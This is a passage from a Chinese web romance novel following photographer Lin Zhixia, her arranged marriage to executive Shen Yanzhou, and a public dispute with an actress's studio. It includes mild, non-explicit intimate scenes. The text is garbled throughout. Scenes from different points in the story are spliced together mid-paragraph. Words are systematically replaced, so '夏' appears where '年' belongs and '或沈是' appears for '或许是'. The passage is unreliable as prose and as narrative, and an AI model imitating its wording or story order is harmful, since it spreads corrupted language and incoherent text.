林知夏没抬头看他,一边捣鼓相机边说,“娘娘腔?” 梁晓敏走过来,林知夏看她已经是全妆的造型。 跟电影里不一样,她今天化的妆跟草原的主题很匹配,像春天的粉嫩的樱花,清纯又妩媚。 辛心和声和气的微笑问梁晓敏,“梁老师,您这是已经画好了妆吗?” 梁晓明只斜眼看她一眼,没有表情,说的很随意,“嗯,我只相信我自己的团队。” 如果不是主编提前打过招呼,辛心觉得自己现在能朝她翻十个白眼。 老娘可是给一线女演员化过妆的,还轮得到你嫌弃? 林知夏安抚的看了她一眼,辛心面上还是活,“那梁老师要不要再补个口红?我这” 梁晓敏摆摆手,“算了吧,我皮肤容易过敏,不是什么牌子都能用的。” 林知夏打破带着点尴尬的氛围,“那梁老师,我们开始吧。” 林知夏在心里默默祈祷,希望过程顺利一点。 但拍摄过程里,梁晓敏有自己设计的动作,林知夏在自己的框架范围内,尽量配合她,好在拍摄的效果还算不错。 一组拍完,梁晓敏看到成片,还是不是很满意。 林知夏就说那这次试试自己安排的看看效果,梁晓敏也答应了。 但因为坐在野餐布上,她的隔壁上不知道从哪飞过来一个虫子,她吓得尖叫。 林知夏上前帮她把虫子拿走,扔到一边。 但她白皙的胳膊上多了一道红痕。 后果就是梁晓敏觉得这都是林知夏的责任,甚至说自己皮肤过敏了,今天的拍摄中断。 几人回公司的路上,林知夏已经在拿着电脑修图,小叶说,“夏姐,你信不信我们还没到公司,莉姐的电话就会打进来。” 辛心:“那怎么了?莉姐也不是那么公私不分的人。” “梁晓敏会耍大牌是公认的,谁不知道啊。”辛心又说,“她那群粉丝不知道。” 不过莉姐没有给他们打电话,而是给林知夏发消息,说是到了公司,让他们三个直接去办公室找她。 三人去办公室时,莉姐好像还在跟梁晓敏的团队打电话,还一边道歉。 电话只持续了几分钟,林知夏数了莉姐说了不下十个不好意思之类的词。 挂了电话后,莉姐靠着老板椅椅背长舒一口气,随后才看向站在自己面前的三个人。 莉姐还没说话,辛心说:“莉姐,这事儿真不是我们” 莉姐做了一个停的手势,“具体情况知夏已经跟我说了。” “可现在问题不是我们谁有道理,刚刚跟我打电话的是方羽影视的法务部。” 林知夏也很意外,“法务部?” 莉姐:“他们说艺人因为这次拍摄过敏进了医院,要求我们公开道歉。” 小叶一听也来气了,“怎么过敏啊,不就是一个小虫子跑到她胳膊上了,根本就不是过敏。” 莉姐看着小叶,继续说:“他们还说这次拍摄很不专业,出来的片子他们很不满意,这次拍摄他们要取消。” 辛心:“这不是白嫖吗?” 莉姐也很无奈,“但是人家公司现在在舆论上占了优势,就算是官网上随便发些东西,我们公司口碑都能直接崩掉。” “一旦让一些不好的言论和官司染上,我们这两年的发展就会归为零,方庭捧起来的那些艺人,哪个敢跟我们公司合作?” 办公室里忽然安静下来,因为这是实事。 各行各业,永远都是有实力有后台的人说了算,即使他们再委屈不满,也只能受着。 面对沈砚舟的质问,梁晓敏自然是害怕的。 也知道自己刚刚失态了,索性把所有事情全盘托出,当然,她是那个受害者。 加害者肯定是林知夏了。 知道了全过程后,沈砚舟才去网上看到了那些新闻。 到了半夜,沈砚舟还没睡着,他索性又拿起手机看起那些新闻。 昨晚有狗仔拍到了林知夏跟她那个朋友吃饭的照片,是地下停车场,两人上车。 虽然照片很糊,但依然能看出来林知夏对那个女人笑着的样子。 沈砚舟足足盯了一分钟,酸酸的来一句,“这不是挺爱笑的吗?就不对我笑。” 沈砚舟看时间已经到了凌晨一点了,心想着隔壁那位有没有发烧。 他掀开被子起来,但迟疑片刻,一想到她说自己照顾自己,这样去会不会显得自己好像很在意啊? 但她都这么在意自己跟别的女人吃饭了,他在意她一下,好像也是可以的。 他直径走到客卧门口,曲起两根手指,敲了敲门。 没人应声,沈砚舟小声的喊了句,“林知夏?” 说完,他又觉得太傻了,人家都说要睡觉了,这样肯定会打扰她的。 他准备转身离开,又想到她晚上一副憔悴的样子,下意识的拧了下门把手。 他睡觉居然不锁门?这是他第一想法,但后来反应过来,这是他老婆,他只是去关心一下她。 门慢慢打开,床头柜上的小夜灯微弱的光线让沈砚舟能模糊的看清床上的人。 林知夏的呼吸声很大,很像难受时候本能性发出来的。 沈砚舟走过去,伸手摸了摸她额头,刚触碰到,就感受到她满头的汗,额头也像刚烧开的水一样。 沈砚舟直接按开白炽灯,看到林知夏白皙的脸颊烧的透红。 他直接回房间拿起手机给一个叫江河的人打了电话。 电话刚接通,沈砚舟说,“你现在过来一趟,林知夏发烧了。” 江河那边明显是被他吵醒的,鼻音很重,“你量体温了吗?” 沈砚舟:“额头跟烧开水一样烫,你快点过来。” 江河:“你先拿体温计给她量一下体温,我回医院拿药。” 沈砚舟按照江河说的,现给她量了体温,居然到了三十九度五,又按照江河说的给她换了睡衣。 准备把她放下的时候,才发现她被子里全湿了,沈砚舟直接把她抱回主卧。 “我只是怕你影响京鸿的股票。” 林知夏:“是吗?我们结婚这么久,你也从来没有在任何公开场合介绍过我,如果我这么一个平平无奇的人能影响到贵公司,那不是证明你太没用了?” 沈砚舟一时间不知道该说些什么。 林知夏又想起什么,“听说你又融资了那部戏啊?那个要告我公司拍的戏,导演还是您前女友。” 沈砚舟只是安静的看着她,好一会儿,才说:“林知夏,其实你在意的要死吧?” “因为我跟他们有交集,你是在吃醋吧?” 林知夏:“没有感情,怎么会吃醋呢?我只是想提醒你,在做什么事之前,请先估计你自己已婚的身份,别到时候被爆出什么新闻,影响了京鸿的股票。” 沈砚舟忽然笑了声,“你总是用我说的话来堵我的话,不就是在意吗?” 林知夏:“回家之前,你要不要先去医院看看?” 前排的司机听得瑟瑟发抖,这还是第一次听到夫人这么硬气的跟沈总说话。 过去的很多次,她几乎都是顺从的那一个,根本不会一次性说这么多。 不过她这样说话,他差点没忍住笑出来,还好咬着舌头忍住了。 沈砚舟却直接笑起来,“林知夏,你还挺会骂人的。” “你在肖至清面前也这么口齿伶俐吗?”光是这句话,林知夏都能想象得到他那幼稚的模样。 可这一刻,她彷佛觉得这段婚姻,说不定能比她想的走的更远,更久。 他们也可以像的夫妻一样说话聊天,接吻拥抱,做一些更亲密的事情,这些也都在爱的基础上。 林知夏抬头看向窗外,仿佛今年的春天格外的明媚。 林知夏:“这不是你该关心的事。” 沈砚舟:“那你当时怎么没找他结婚?还是说,他拒绝你了,你才来找我的?” 林知夏眼泪在眼眶打转,或沈是昨晚哭的太多,今天的眼泪能忍住。 她努力克制住,看向窗外。晚上,陈苏然下了戏,在微博上发了那次聚餐的vlog,她自己在评论里说:【这个早就拍了,但那段时间发的太频繁,就懒得剪了,亲亲我的笑笑,连夜帮我剪辑好了,还是希望我发出来,林家兄妹还会有很多售后的,我们邀夏一直是一个团结友爱的大家庭。】 笑笑是陈苏然的生活工作上的助理。 邀夏那部剧无疑是去年的暑假的爆款,谢承安作为绝对主角,很出圈。 但陈苏然演他的妹妹,原本是个打酱油的傻白甜搞笑担当,但因为演的很灵动,让人看不出表演痕迹,也小有出圈,磕兄妹cp的还有她本人在里面cp粉的都不少。 林知夏看到陈苏然评论区下面一片祥和,只祈祷希望这是最后一次。 第二天起床,舆论又有了新的变化。 方羽影视昨天很明显不占优势,今天开始就有不少人嘲笑他们,甚至还带上了梁晓敏,有很多业内人士用小号曝光她在片场耍大牌,甚至有的还带着音频。 林知夏一点也不想关心他们公司和他们公司的艺人。 肖至清下午发来消息:【我打算给你一周的带薪假期,算是公司对你这几天的精神补偿,你放心,我不对对你特殊对待,跟你那天一起拍摄的其他人,也放假了。】 【好好调整,下周一带着精气神来上班。】 【你要是还一副丧气的样子,直接给你开了。】 但眼泪还是不争气的往下掉。 她也没想到,会跟沈砚舟闹到今天这一步,她明明在努力经营这段婚姻的。 回到家,林知夏像逃跑一样的钻进客卧。 一关上门,她的后背抵着门板,整个人顺着门板慢慢滑落。 她曲起膝盖,双手枕在膝盖上,低头啜泣起来。 已经很少会这么难过了。 第 59 章 第五十九章 家里收拾起来并不麻烦,毕竟没有多少东西。 她洗了个澡打算今晚早点睡,明天想早起回家看爷爷。 从浴室出来后,她听到落在客厅的手机的铃声,只是刚走出去,就看到沈砚舟穿着一件卡其色的羊毛衫,走过去拿起自己的手机。 林知夏下意识的转身,因为她只裹了一件浴巾出来。 沈砚舟说:“池绯给你打电话了。” 说完,他直径走过来,散漫的把手机递给她,林知夏小心翼翼的捻起两根还带着水汽的手指接过手机。 沈砚舟把手机递给她后,就回了房间。 他经过林知夏身边时,林知夏从他身上闻到淡淡的酒气。 简单的跟池绯说了几句,林知夏挂了电话,就去房间换回了自己的睡衣。 没多一会儿,沈砚舟洗完澡出来,林知夏起身,问他,“你今晚睡在这儿吗?” 沈砚舟看了她一眼,随后边走边拿着毛巾擦拭湿漉漉的头发。 沈砚舟:“外面雪下大了,刚好会所离这里近。” 林知夏语气淡淡,“这样” 所以并不是特意为了她来的,他也没去接自己,而是去了会所。 林知夏知道他们圈子里的朋友,聚会娱乐什么的,都喜欢去那里。 沈砚舟一边擦拭头发一边拿起手机,林知夏说:“那晚上我睡客卧吧。” 沈砚舟的目光从手机屏幕挪到她脸上,“随你。” “不过客卧没怎么收拾,你不嫌就行。” 可能是觉得他今天没有把自己回国的事情放在心上,林知夏直径走到床边,掀开被子趟进去,一边打开床头柜上的小夜灯。 微弱的橘色灯光在日光灯的光芒下,可以忽略不计。 林知夏说:“今天不想收拾,我先睡了。” “你要是受不了,可以去附近的酒店住。” 或沈是赶飞机过于疲惫,林知夏有了些小情绪。 沈砚舟看着她轻声笑了下,“你在生气?” 林知夏没说话,被子盖过头。 她没再听到沈砚舟继续说话,他甚至轻轻的放下手机,然后走过去把房间的灯关了。 接着,他又轻声关上门。 林知夏拉下被子,叹了口气,房间里忽然变得漆黑,导致那点橘色灯光显得特别的亮眼。 林知夏有夜盲症,看不到光对她来说很没安全感,但沈砚舟睡眠浅,林知夏想起两人第一次同床共枕那晚,第二天她起床看到沈砚舟睡在客厅的沙发。 她的思绪被拉远,但没一会儿,房门又被打开,她垂眸看了眼。 沈砚舟已经大摇大摆的走到床的另一边,掀开被子进来。 林知夏下意识的往旁边让了些,她问,“你晚上睡这里?” 沈砚舟躺下,还是那副散漫的语气,“您难道想让我睡沙发?” 林知夏没话了,拉了拉被子,心想着他要是睡不着了,还是会去客厅。 林知夏其实不怎么习惯身边睡着其他人,但或沈今天太累了,她竟一觉睡到天亮。 她刚想抬手揉揉眼睛,一不小心碰到什么坚挺的东西,意识到是什么,身体猛的僵住。 沈砚舟一晚上都没离开,林知夏抬头,沈砚舟半睁着眼,他应该也是被自己无意识的触碰给唤醒了。 他看着自己,林知夏心跳就止不住的加快。 男人早上有生-理反应很正常,况且这样不是两人第一次同床共枕,甚至来说,他们有着更亲密的关系,就在三个夏前。 沈砚舟来洛杉矶出差,沈家爷爷知道后,让沈砚舟给林知夏带了些他自己种的茶叶。 沈爷爷一直都喜欢田园生活,退休后就带着老伴在西山别墅区种了一片茶叶园,一年四季都跟着工人们一起种茶采茶。 对别人来说是工作,但对老人家来说,却是一种乐趣。 沈砚舟是晚上过来的,林知夏当时刚忙完工作回家,她准备在家做饭的,就顺嘴问沈砚舟要不要留下来吃个饭。 沈砚舟散漫的点点头,说他刚好饿了。 林知夏做了两个家常菜,林知夏原本准备喊他吃饭,但见他好像在跟这边的人约明天见面的时间,索性又去厨房里做了个丝瓜汤。 鸡蛋刚下锅,沈砚舟的声音就在厨房门口传来,“桌上不是有三个菜了吗?” 林知夏回头看他一眼,“再煮个汤。” 丝瓜汤很快就好了,她没想到沈砚舟直接进来帮她把汤端到桌上。 林知夏就拿着筷子跟汤勺跟在他身后。 她的房子不大,从厨房到客厅也就两步。 两人面对面坐下吃饭,林知夏说:“这里的菜可能没有国内的品质高。” 沈砚舟夹了块辣椒炒肉,“能在国外吃到正宗的中餐,还有什么可挑的。” 他倒是不挑食。 因为他这句话,林知夏觉得这顿功夫没白费。 沈砚舟边吃边问,“你天天都自己做饭?” 林知夏心虚的抬眼看他,“偶尔做点。”林知夏不知道沈砚舟跟叶莹说的是不是气话。 但这件事,爷爷也曾提过一句,说要是能在走之前,见到夏夏的孩子就好了。 林知夏当时也没放在心上,比较她跟沈砚舟有没有未来还另说。 下午,两人离开。 回去的路上,天色暗了下来,两旁的路灯亮起。 道路两旁挂满了喜庆的红色灯牌,林知夏转头看着窗外,她透过窗户看着在驾驶座的人。 忽然间,沈砚舟开口说,“去买菜吗?” 林知夏转过头看他一眼,“那去附近的超市吧。” 到了紫荆园附近的商超,两人推着推车买了不少的菜。 刚刚林知夏让沈砚舟点了几个菜,恰好她都还会做。 一回家,林知夏就让沈砚舟把菜放到厨房里,她来处理。 林知夏把外套脱了放在沙发上,边把袖子挽到小臂,就开始忙活起来。 直到沈砚舟忽然从背后抱着她,林知夏洗菜的手一顿,“你你怎么还没走。” 沈砚舟比她差不多高两个头,他双手环着她纤细的腰身,下巴蹭着她的头顶,“林知夏,有时候我总觉得你对我还不错。” 他身上有一种淡淡的清香,像夏日的柑橘也像带着点淡淡的茶香,让人觉得清冷又干净。 这是他一直都在用的沐浴露味道。 说他是个长情的人也不为过,高中的时候,他身上就好像带着点儿这种清香。 林知夏还没来得及回答,他又说,“你为什么想去那个杂志社?” 他抱着自己的手没有松开,林知夏的心跳也在跟着加快。 对一个人好奇是爱情的开始,所以这一刻,他是不是有点儿喜欢自己呢? 林知夏尽量让自己的语调听起来正常些,“他们杂志社虽然知名度和专业性这一块虽然都不是最顶尖的,但发展空间很大,给我的自由度很高,我刚回国,国内的环境我需要去熟悉,而且他们公司的理念跟我是最符合的。” 沈砚舟淡声笑了下,气息扑在她耳廓,那一块有些细细密密的痒意。 沈砚舟没有再继续说别的,林知夏想让他松开自己,只是话还没说出口,他的唇就落在自己嘴角。 室内开了暖气,他的唇也是温热的。 他的吻从嘴角到脸颊再到耳垂,他忽然亲了一下她的耳垂,林知夏整个人猛地一顿。 她的耳垂很敏感,两人在情浓时,他总是喜欢细细摩挲她的耳垂,想让她放轻松,也是故意刺激她。 但在床下时,他还是第一次对这么做出这么亲密的行为。 林知夏努力找回思绪,说话气息很不稳定,“我我得做饭。” 沈砚舟果然停了下来,他看着林知夏已经红透了的脸颊,忍不住勾了勾唇,“是不是皮肤太白了,不然怎么总是还没碰两下就红了?” 林知夏听不得他用这种饶有深意的语调说话,彷佛这个时刻,再正经的话,到了他嘴里,都变得不正经。 见她有一种无处躲藏的状态,沈砚舟没再继续逗她。 他松开,主动退到一边,然后从刚刚一堆菜里把一些菜拿出来,又问她,“哪些是需要的?剩下的我拿到冰箱里去。” 林知夏有趣把里面的小葱和西红柿拿了出来,又说,“买的牛肉和猪肉你放冷冻里,其他都放冷藏里。” 沈砚舟嗯了声,难得听从指挥干活。 沈砚舟刚把东西放好,林知夏又对着他背影说,“再拿三个鸡蛋过来。” 沈砚舟把鸡蛋拿过来,嘴里念念有词,“刚说你对我好一点儿,又开始差遣我。” 林知夏语气淡淡,“那你再放回去。” 沈砚舟:“” 他无奈笑了声,“林知夏,你就不能对我好点儿吗?” “说点好听的哄哄我。” 林知夏还是第一次听到他说这么无理的要求,“你想听什么?” 沈砚舟支支吾吾的嘀咕,“就那些个什么啊,什么老公” 林知夏一顿,挪开眼低头洗菜,确实是无理的要求。 两人从结婚到现在,一直都是以名字相称,再加上从第一次见面到今天为止,两人相处的时长都不超过一个夏,怎么可能叫得出哪些腻歪的称呼。 沈砚舟又讨好的过来帮她干活,为了让他不打扰自己做饭,林知夏打发他帮自己洗菜。 两人安静的分工合作,谁知道沈砚舟又来一句,“那晚上,睡主卧吗?” 林知夏:“” 沈砚舟:“不说话就当你同意了啊。” 林知夏:“前两天不是那个过了吗?” 沈砚舟:“那你前两天还吃了饭,今天不是还得吃吗?” 林知夏:“” 忽然把这些事拿到明面上来说,有点怪怪的。 在跟他结婚前,林知夏并不知道他原来对那事儿那么热衷,除了第一次外。 每次持续时间还长,即使两次结束,他还能再歇个十分钟继续。 以前林知夏到不觉得有什么,毕竟两人都是隔了三四个夏才见一次,他需求大也是可以理解的。 但自己回国到现在还不到一周,即使她睡在客卧,他也总是有意无意的提醒她。 性真的可以建立没有爱的基础上吗?还是说,他已经对自己有那么一点点的爱了。 吃过饭后,沈砚舟主动包揽了刷碗的工作。 林知夏还有些不习惯他的讨好,但也知道他是为了什么。 林知夏洗过澡后,看了眼新闻,那部电影又上了热搜,林知夏才想起来买电影票。 她在买之前还看了个预告片,看到导演那栏写着方舒时,林知夏愣了下。 不过这个预告片拍的确实不错,时久违的武侠片那味道,打戏预告也很抓人眼球,里面的江湖情仇也是氛围感拉满,不愧是从开拍就让不少人期待。 林知夏也承认,方舒是个很有才能得人,大学学的国画,研究生读的导演系。 一开始大家都对她学国画颇有微词,但她还能坚持自己的想法,但后来她拍的电影证明,国画的基础让她对电影里很多的镜头审美有了质的提升。 甚至还有好几个演员不知名演员有了好几个出圈的人生镜头。 只是在林知夏看到最后出品公司里,有一个自己熟悉的logo,是京鸿旗下的某个子公司。 所以这部戏,也有京鸿的投资。 不知道为什么,看到这里,刚刚还在吃饭时积攒的甜蜜,在这一刻变得有些好笑。 他的确是个长情的人,不管是用的沐浴露还是人。 实际上林知夏一个人在家很少做饭,这些菜还是前两天老妈赵岚女士来看自己,发现她家冰箱都是空的,帮她打扫了卫生还把冰箱装满了。 她家厨房的柜子里装满了各种各样的速食。官博几乎是瞬间被攻陷,博文热度也很快上了热搜。 林知夏看到这些就觉得头疼,她现在不想看到这些,只想知道等十点的陈苏然的杂志预售。 她希望一切顺利,预售前别再整幺蛾子了。 十分钟后,池绯给林知夏把早饭端到房里,是她用微波炉热的纸皮烧麦和年糕,还有杯纯奶,池绯几乎是命令的语气,“我不管,这些都得吃完。” 林知夏还没来得及说话,手机就震动个不停。 是肖至清打来的,问她看没看微博。 林知夏如实回答,肖至清问她怎么想的,林知夏说:“您应该是已经想好对策了吧?” 肖至清肯定是有自己的一套做法,不然不会给她打这个电话。 林知夏又说:“我昨晚签的是我的全权代理,既然都授权给公司法务部了,你的决定就是我的决定。” 肖至清笑了声,“就不怕我把你卖了?” 林知夏:“你要卖早就卖了。” 肖至清又问:“那沈砚舟呢?他老婆出了这么大事,他没什么动作?” 林知夏沉默片刻,“我跟他其实没什么感情,只是为了双方家长结的婚,不然他怎么可能昨晚跟方羽的人应酬。” 肖至清叹了口气,“到底是你跟他没什么感情,还是他跟你没什么感情?” 看似是一个意思,但林知夏听出他话里的意思。 挂了电话后,池绯一脸诧异,“你哪门子家长啊?就你那个渣爹让你结的婚?” 林知夏摇摇头,“去年爷爷不是生病了吗?我又没怎么陪在他身边,他跟沈砚舟爷爷是多年旧友,对他孙子很满意,就希望” “反正,爷爷现在很健康,我也有自己的工作,没有感情基础的婚姻都不长久,亘古不变的道理,我其实不应该有什么期待的。” 九点半,因为网络上的风评对方羽越来越不好,方舒直接转发了这则道歉声明,一段小作文,以低姿态的态度承认错误,把所有错误都揽在自己身上,并且说愿意赔偿真我风格杂志社的损失,也愿意作为中间人,让方羽旗下艺人跟杂志社签订长久的合作关系。 虽然有一部人还是觉得他们在演戏,方舒的一些粉丝还觉得是公司拿她祭天,吸引火力的工具人罢了。 但很大一部分路人对这个行为都很有好感。 又过了十分钟,真我风格杂志直接发了一则声明,说自己已经明确说过不会再跟方羽影视有任何的合作,也绝不接受书面的道歉声明,他们会举证方羽影视诽谤和污蔑,公司坚决维护员工的合理权益,还说如果方舒导演真的想道歉,不应该私下跟他们工作人员联系吗?而不是在网络上“演戏”给大众看。 一个拍摄的小事故,忽然演变成两个公司的正面硬刚,热度越老越大,看戏的人也越来越多。 十点预售的杂志关注度也空前的大。 还有几个小时,林知夏已经紧张到了极点。 几个人都格外的关注网上舆论,还没两分钟,池绯说:“我靠,又有新的了。” 真的是怕什么来什么。 林知夏忐忑的点进去,居然是陈苏然的绯闻。 说陈苏然疑似插足某春节档黑马片导演跟影帝,知三当三。 狗仔差点就爆了身份证,不就是谢承安跟方舒吗? 池绯气急败坏,“真服了这群败类,赶在杂志预售前来一波事情,简直是一箭双雕啊。” “人怎么能坏成这样。” 林知夏当即联系陈苏然,又怕她正在拍戏,只是给她发了条消息,截图给她,让她快点看。 十点很快就到了,林知夏自己下单了一百本,然后一直在刷新销量。 十分钟后,看到销售量超过了三万,林知夏这才放下心来。 至少不是100,其他的随意。 十一点钟,见陈苏然还没回消息,林知夏直接给她打了电话。 那边接电话很快,林知夏紧张的问,陈苏然倒是很坦然,“这种手段见多了,我跟谢哥只是前后辈,在去年播了部戏,我在里面演他妹妹,年初一起聚餐被拍到而已。” “你放心,我跟他什么都没有,树正不怕影子斜。” 陈苏然开心的说,“刚刚我听我经纪人说,杂志卖的不错啊,我出道到现在一共就拍了三本,还是第一次预售一小时卖到五万册的呢。” 五万册?林知夏也很惊讶,以为三万册已经封顶了,没想到还能卖这么多。 陈苏然没跟林知夏多说两句,说是网上言论还是要解决一下,她刚下戏,得去跟公司商量一下。 陈苏然动作很快,她签约的公司虽然不大,但很护短。 大概十分钟后,公司就发了声明,说两人只是朋友关系,年初聚餐的时候不止两人,还有其他朋友在场,他们会取证相关言论,并且对这种言论的首发者进行投诉。 几乎是声明一发,那个狗仔就删了拿条博文,还销号跑路了。沈砚舟虽然看着不靠谱,但只要答应过的事情,都会做到。 这一点,她在高中就知道了。 第二天虽然没定闹钟,但林知夏只比平日晚起了半小时。 她起床后,厨房的蒸锅的保温按钮是亮着的。 里面放了些茶叶蛋和几个包子。 不知道是他点的外送还是自己下去买的,反正看到这些,林知夏还是不觉弯弯嘴角。 没两天就到了新年,因为晚上要去沈砚舟家里吃年夜饭。 林知夏只能跟池绯约上午聚一聚。 两人就在一个商场来来回回的逛了下,买了些衣服和化妆品。 两人在一家咖啡厅休息,池绯拿着手机看电影场次,林知夏说:“我估计明天得陪爷爷去看行窃。” 池绯:“那部最近热度很高啊。” “那部电影的女二去年还拍了我们公司杂志内刊。” 林知夏虽然知道这部电影,但都是源于导演和男女主,她翻了翻演员表,女二出道虽然有几年了,但一直不温不火,演技也成了诟病。 池绯叹了口气,“这个女演员其实人品真心一般,我给她化妆那天太大牌了,挑剔的要死,不是这里不满意就是哪里不满意,明明只是拍个内刊。” “她不火也是有原因的,不过她最近新签了经纪公司,就是方庭的公司,给的见面礼就是这部戏,看来是打算捧她了。” 池绯也在真我风格杂志,不过她是全约的化妆师,进公司有两年了,娱乐圈的那些,也多多少少知道些。 第一次遇到这么会耍大牌的三四线艺人,还是有一次,所以印象深刻。 池绯一想到那天,就觉得晦气,“反正我希望她别火,也别再来我们公司,太难伺候了。” 林知夏:“有时候你越不想来什么,就越” 池绯做了一个“停”的手势,“你打住,我是真不想再跟她有合作的,也不知道她在剧组,别人怎么能受得了她。” 林知夏:“估计她在剧组又是一个样子,不然方导为什么会签她?” 池绯小心的凑过去一些,“这我倒是听说了些小道消息,方导女儿方舒跟梁晓敏是闺蜜,应该是小方导在里面起了些作用。” 池绯感叹,“这年头还真有靠闺蜜上位的,羡慕不来。” 林知夏笑,“点我呢?” 池绯:“哪里的话,你也很好啊,你跟你老公什么时候办婚礼啊?到时候我肯定狠狠敲诈他一笔。” 说起婚礼,两人只在第一次见双方家长时提过一嘴,当时林知夏因为还有工作在国外,沈砚舟公司因为在开拓新的市场,两个人压根没有时间,就随意的搪塞过去。 林知夏都不知道他们能不能撑到有婚礼的那天。 下午回到家,沈砚舟今天也回来的格外早。 第一次去男方家里吃年夜饭,掐着点去并不礼貌。 林知夏换了身正式一点的衣服,焦糖色的大衣,里面是一件黑色的长款连衣打底裙,发尾稍稍卷起刚到胸口的位置,整个人看起来温柔又清冷。 两人这几天相处说不上多甜蜜,但还是比较和谐的。 车内,沈砚舟提前给她说了一下有多少人,林知夏也都一一记下,沈砚舟怕她紧张,就说,“到时候你跟我喊人就行,记不住也没多大事。” “不过我弟也回来了,到时候可以认识一下。” 林知夏:“堂弟?” 沈砚舟:“是啊,我二叔二婶的儿子,很俊的一小伙儿。” 他又补充一句,“当然了,肯定没我帅。” 林知夏轻声笑了下,她印象里匆匆一面的堂弟,那时候看着也是眉清目秀的。 一到沈家别墅,里面很热闹,林知夏被二婶拉过去寒暄。 说知道砚舟结了婚,大嫂有个这么漂亮能干的儿媳妇儿,她羡慕死了。 但一想到自家儿子,又气不打一出来。 沈砚舟家说来奇怪,这么大一个家族企业,大儿子从政,家业只能给小儿子,但小儿子不培养自家孩子,倒是培养起自己的大哥的孩子。 他自个儿孩子在国外跟朋友一起创业成立公司他也不管。 完全没有那些个豪门的勾心斗角。 年夜饭的氛围倒是融洽,吃过饭后,林知夏又给爷爷打了个视频电话,父亲好像在旁边,还喝了些酒,他挤进屏幕里,第一句话就是指责她,“怎么回国了,都不回家看看?” 林知夏沉默片刻,说,“回国比较匆忙,有点忙。” 林明和显然不吃这套,“再忙抽空回家吃个饭,来看看你爸爸的时间都没有?” 林知夏没说话,那头爷爷还在帮他说话,沈砚舟不知道什么时候过来的,他伸手拦着在林知夏另一侧的肩头,对屏幕里说,“林总,这两天家里确实忙,夏夏说要回去看望的,是我说等到时候拜年再去,咱啊再好好叙叙旧。” 果然沈砚舟一说话,林明和就吃这一套。 两个人又说了几句,林知夏跟爷爷说明天再去看他后,就挂了电话。 沈砚舟在应付家人这件事上很有一套,准确的说是应付她的家人,就跟在应酬桌上一样,游刃有余。 沈砚舟喝了些酒,回程是司机送他们。 车厢里两人都很安静,林知夏一想到要回林家,就觉得头疼,她是一点也不像跟那一家子人扯上关系。 好巧不巧,有人打电话进来。 林知夏看见来电显示,微微蹙眉,但还是接了起来。 对面说:“知夏,好久没见了。” 又是几句不冷不热的寒暄,林知夏就顺势回答了两句。 郑维峰:“刚刚在饭桌上,听林总说起你回国了,我才知道这事儿。” 林知夏只是应了两声,对面又问,“什么时候回来的?” 林知夏是问什么就答什么,到后面,郑维峰:“那到时候你跟砚舟一起回家再叙。” 听到电话挂断声音,林知夏靠着椅背呼出一口气。 她对这个名义上异父异母,只比她大三个夏的哥哥实在是不想产生任何瓜葛。 他在林家生活的时间比自己还要长,两人的交集还是源于她高中转学到京市,两人当了三年的隔壁班同学。 沈砚舟虽然闭眼休息,但刚刚听到了全过程,他散漫的问,“郑维峰?” 林知夏一顿,差点忘了,当时高中的时候,郑维峰跟沈砚舟是一个班的。 沈砚舟有说:“以前还以为他是你堂哥。” 林知夏没说话,毕竟以前司机来接,他们总是坐一辆车回家。 高一的家长会,因为林明和没有时间,继母郑雅帮两个孩子一起开的会。 林知夏当晚回家,第一次对林明和发了脾气,跟他说如果没有时间可以不去,没必要让他老婆去羞辱她。 林明和当时也怒了,毕竟郑雅对林知夏面上一直都很客气亲切,甚至比对她自己亲生女儿和儿子都要好。 但林知夏能不知道吗,只是做样子给外人看的。 把她架在道德高位,不接受就说明她不懂事,一个继母能做到这个份上,已经很不容易了。 光这一点,她跟林明和真的是绝配。 下午,谢承安也站出来说自己现在是单身,跟陈苏然只是好朋友的聚会,并且把那天聚会拍的照片发了出来,照片里是他们去年剧组的聚餐。 不少粉丝在下面说居然能吃到售后的饭。 吃过饭后,沈砚舟主动起身收拾碗筷,林知夏哪敢让他一个天天在家当大少爷的人洗碗,但沈砚舟还是坚持,一边拿着碗筷往厨房走边不在意似的说,“手受伤了就好好养着。” 林知夏才注意到自己左手虎口处前两天不小新划开一个口子,现在已经结痂了,他估计是刚刚吃饭的时候看到的。 虽然关心的话他没有说出口,但林知夏还是觉得心里暖暖的。 林知夏见他准备挽起袖子开始刷完,下意识的把一旁淡色的围裙递给他。 沈砚舟嫌弃的看着围裙,林知夏说:“这里没有你换洗的衣服,别弄脏了。” 沈砚舟这才不情不愿的套上围裙。 林知夏刚刚把自己做的三菜一汤发给赵女士看,赵女士这会儿就给她回了一个视频过来。 林知夏拿着手机去了房间,知道是她老公后,赵女士说什么也要让林知夏抽时间让两人见见。 林知夏说他很忙,这次出差也只是为了工作,只说尽量。 赵女士没说两句,就饶有深意的说自己不打扰两人难得的二人世界,匆匆挂了电话。 挂了电话后,林知夏才发现外面下起了阵雨。 她去厨房看沈砚舟,他刚好洗完了碗,正站在厨房门口双手覆后解围群的带子,见到林知夏过来,说,“我不小心拉了死结,帮我解下。” 林知夏应了声,快步过来,沈砚舟转身背对着她。 他只穿了一件黑色衬衫,此刻袖子被他卷到小臂,露出白皙有劲的手臂,手臂上的青筋也格外的明显。 林知夏站在他身后,才到他肩膀的位置。 一靠近他,林知夏就下意识的放轻呼吸,她纤细柔软的手指解着死结,但目光还是被他劲瘦的腰身吸引住。 她见过衬衫下他的腹肌,刚摸上去还是软的,但她一碰上就会慢慢变硬。 一想到这,她的耳尖连带着脸颊不觉染上粉色。 她解开围裙,还站在那,沈砚舟转身就看到她站在自己安全距离之内,微微挑眉,“你脸红什么?” 林知夏下意识的退开些,伸手去扯他脱下来的围裙。 但沈砚舟抓得紧,她没有拉动,还反被他往自己这边扯了下,她猝不及防的往他身前踉跄一步,下意识的伸手抓着他的胳膊。 心跳快要到嗓子眼了,她知道接下来会发生什么,但他低头捧着自己的脸时,她还是会紧张。 围裙不知道什么时候掉在地上的,她的腰抵在餐桌边,忘情的吻着。 窗外的雨也越来越大,拍打着还没来得及关的房间阳台的玻璃窗。 他在床上的时候,好似放肆的更多,他会带着她的手摸到自己腹肌上,带着调笑的口吻,“不是喜欢这儿吗?是不是更好摸了?” 看得出来,他对自己这几个夏锻炼的效果很是满意。 第 60 章 第六十章 沈砚舟并不怎么喜欢厨房,他洗碗的时候就在想,应该买个洗碗机回家的。 但自己答应了,他还是会先做完。 他不仅把碗洗了,还拖了地,擦了桌子。 他收拾完,到了客厅,听到林知夏在外面的卫生间里洗澡,他就回了主卧去洗。 他出来后,又在房间里等了半小时,还没见她过来。 他打开房门,看到外面卫生间的门是敞开的,灯也关了,客卧的门倒是紧闭的。 